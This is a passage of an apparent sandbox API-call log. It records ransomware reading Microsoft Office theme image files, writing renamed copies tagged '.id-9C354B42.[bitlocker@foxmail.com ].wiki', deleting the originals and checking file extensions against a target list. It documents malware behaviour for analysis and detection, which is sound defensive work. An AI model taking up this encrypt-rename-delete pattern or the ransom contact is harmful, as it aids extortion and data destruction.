lpNumberOfBytesRead=0x328fed4*=0x47ed, lpOverlapped=0x0) returned 1 [0053.238] WriteFile (in: hFile=0x180, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x47f0, lpOverlapped=0x0) returned 1 [0053.239] ReadFile (in: hFile=0x18c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.239] WriteFile (in: hFile=0x180, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.240] SetEndOfFile (hFile=0x180) returned 1 [0053.240] CloseHandle (hObject=0x180) returned 1 [0053.240] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.240] SetEndOfFile (hFile=0x18c) returned 1 [0053.241] CloseHandle (hObject=0x18c) returned 1 [0053.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0053.241] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 1 [0053.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0053.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0053.241] lstrlenW (lpString=".doc") returned 4 [0053.241] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.241] lstrlenW (lpString=".docx") returned 5 [0053.241] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.241] lstrlenW (lpString=".pdf") returned 4 [0053.241] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.241] lstrlenW (lpString=".xls") returned 4 [0053.241] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.241] lstrlenW (lpString=".xlsx") returned 5 [0053.241] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.241] lstrlenW (lpString=".ppt") returned 4 [0053.241] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0053.241] lstrlenW (lpString=".zip") returned 4 [0053.241] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.241] lstrlenW (lpString=".rar") returned 4 [0053.242] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.242] lstrlenW (lpString=".bz2") returned 4 [0053.242] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.242] lstrlenW (lpString=".7z") returned 3 [0053.242] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0053.242] lstrlenW (lpString=".dbf") returned 4 [0053.242] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0053.242] lstrlenW (lpString=".1cd") returned 4 [0053.242] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0053.242] lstrlenW (lpString=".jpg") returned 4 [0053.242] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0053.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0053.242] lstrlenW (lpString=".doc") returned 4 [0053.242] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.242] lstrlenW (lpString=".docx") returned 5 [0053.242] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.242] lstrlenW (lpString=".pdf") returned 4 [0053.242] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.242] lstrlenW (lpString=".xls") returned 4 [0053.242] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.242] lstrlenW (lpString=".xlsx") returned 5 [0053.242] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.242] lstrlenW (lpString=".ppt") returned 4 [0053.242] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0053.242] lstrlenW (lpString=".zip") returned 4 [0053.242] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.242] lstrlenW (lpString=".rar") returned 4 [0053.242] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.242] lstrlenW (lpString=".bz2") returned 4 [0053.242] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.243] lstrlenW (lpString=".7z") returned 3 [0053.243] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0053.243] lstrlenW (lpString=".dbf") returned 4 [0053.243] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0053.243] lstrlenW (lpString=".1cd") returned 4 [0053.243] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0053.243] lstrlenW (lpString=".jpg") returned 4 [0053.243] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.243] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0053.243] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0053.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0053.243] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1659) returned 1 [0053.243] CloseHandle (hObject=0x18c) returned 1 [0053.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0053.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0053.244] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.244] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.246] GetLastError () returned 0x0 [0053.246] ReadFile (in: hFile=0x18c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x67b, lpOverlapped=0x0) returned 1 [0053.248] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x680, lpOverlapped=0x0) returned 1 [0053.249] ReadFile (in: hFile=0x18c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.249] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0053.249] SetEndOfFile (hFile=0x20c) returned 1 [0053.249] CloseHandle (hObject=0x20c) returned 1 [0053.249] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.249] SetEndOfFile (hFile=0x18c) returned 1 [0053.250] CloseHandle (hObject=0x18c) returned 1 [0053.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0053.250] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 1 [0053.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0053.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0053.250] lstrlenW (lpString=".doc") returned 4 [0053.250] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.250] lstrlenW (lpString=".docx") returned 5 [0053.250] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.250] lstrlenW (lpString=".pdf") returned 4 [0053.251] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.251] lstrlenW (lpString=".xls") returned 4 [0053.251] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.251] lstrlenW (lpString=".xlsx") returned 5 [0053.251] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.251] lstrlenW (lpString=".ppt") returned 4 [0053.251] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0053.251] lstrlenW (lpString=".zip") returned 4 [0053.251] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.251] lstrlenW (lpString=".rar") returned 4 [0053.251] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.251] lstrlenW (lpString=".bz2") returned 4 [0053.251] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.251] lstrlenW (lpString=".7z") returned 3 [0053.251] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0053.251] lstrlenW (lpString=".dbf") returned 4 [0053.251] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0053.251] lstrlenW (lpString=".1cd") returned 4 [0053.251] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0053.251] lstrlenW (lpString=".jpg") returned 4 [0053.251] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0053.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0053.251] lstrlenW (lpString=".doc") returned 4 [0053.251] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.251] lstrlenW (lpString=".docx") returned 5 [0053.251] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.251] lstrlenW (lpString=".pdf") returned 4 [0053.251] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.251] lstrlenW (lpString=".xls") returned 4 [0053.252] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.252] lstrlenW (lpString=".xlsx") returned 5 [0053.252] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.252] lstrlenW (lpString=".ppt") returned 4 [0053.252] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0053.252] lstrlenW (lpString=".zip") returned 4 [0053.252] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.252] lstrlenW (lpString=".rar") returned 4 [0053.252] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.252] lstrlenW (lpString=".bz2") returned 4 [0053.252] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.252] lstrlenW (lpString=".7z") returned 3 [0053.252] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0053.252] lstrlenW (lpString=".dbf") returned 4 [0053.252] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0053.252] lstrlenW (lpString=".1cd") returned 4 [0053.252] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0053.252] lstrlenW (lpString=".jpg") returned 4 [0053.252] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.252] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0053.252] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0053.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0053.253] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=44850) returned 1 [0053.253] CloseHandle (hObject=0x18c) returned 1 [0053.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0053.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0053.253] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.254] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.254] GetLastError () returned 0x0 [0053.254] ReadFile (in: hFile=0x18c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0xaf32, lpOverlapped=0x0) returned 1 [0053.257] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xaf40, lpOverlapped=0x0) returned 1 [0053.258] ReadFile (in: hFile=0x18c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.258] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.258] SetEndOfFile (hFile=0x20c) returned 1 [0053.258] CloseHandle (hObject=0x20c) returned 1 [0053.259] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.259] SetEndOfFile (hFile=0x18c) returned 1 [0053.398] CloseHandle (hObject=0x18c) returned 1 [0053.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0053.462] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 1 [0053.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0053.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0053.463] lstrlenW (lpString=".doc") returned 4 [0053.463] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.463] lstrlenW (lpString=".docx") returned 5 [0053.463] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.463] lstrlenW (lpString=".pdf") returned 4 [0053.463] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.463] lstrlenW (lpString=".xls") returned 4 [0053.463] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.463] lstrlenW (lpString=".xlsx") returned 5 [0053.463] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.463] lstrlenW (lpString=".ppt") returned 4 [0053.463] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0053.463] lstrlenW (lpString=".zip") returned 4 [0053.463] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.463] lstrlenW (lpString=".rar") returned 4 [0053.463] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.463] lstrlenW (lpString=".bz2") returned 4 [0053.463] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.463] lstrlenW (lpString=".7z") returned 3 [0053.463] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0053.463] lstrlenW (lpString=".dbf") returned 4 [0053.463] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0053.463] lstrlenW (lpString=".1cd") returned 4 [0053.463] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0053.463] lstrlenW (lpString=".jpg") returned 4 [0053.463] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0053.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0053.464] lstrlenW (lpString=".doc") returned 4 [0053.464] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.464] lstrlenW (lpString=".docx") returned 5 [0053.464] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.464] lstrlenW (lpString=".pdf") returned 4 [0053.464] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.464] lstrlenW (lpString=".xls") returned 4 [0053.464] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.464] lstrlenW (lpString=".xlsx") returned 5 [0053.464] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.464] lstrlenW (lpString=".ppt") returned 4 [0053.464] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0053.464] lstrlenW (lpString=".zip") returned 4 [0053.464] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.464] lstrlenW (lpString=".rar") returned 4 [0053.464] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.464] lstrlenW (lpString=".bz2") returned 4 [0053.464] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.464] lstrlenW (lpString=".7z") returned 3 [0053.464] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0053.464] lstrlenW (lpString=".dbf") returned 4 [0053.464] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0053.464] lstrlenW (lpString=".1cd") returned 4 [0053.464] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0053.464] lstrlenW (lpString=".jpg") returned 4 [0053.464] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.465] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0053.465] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0053.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0053.465] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1379) returned 1 [0053.465] CloseHandle (hObject=0x1e8) returned 1 [0053.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0053.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0053.465] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.465] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.470] GetLastError () returned 0x0 [0053.470] ReadFile (in: hFile=0x1e8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: 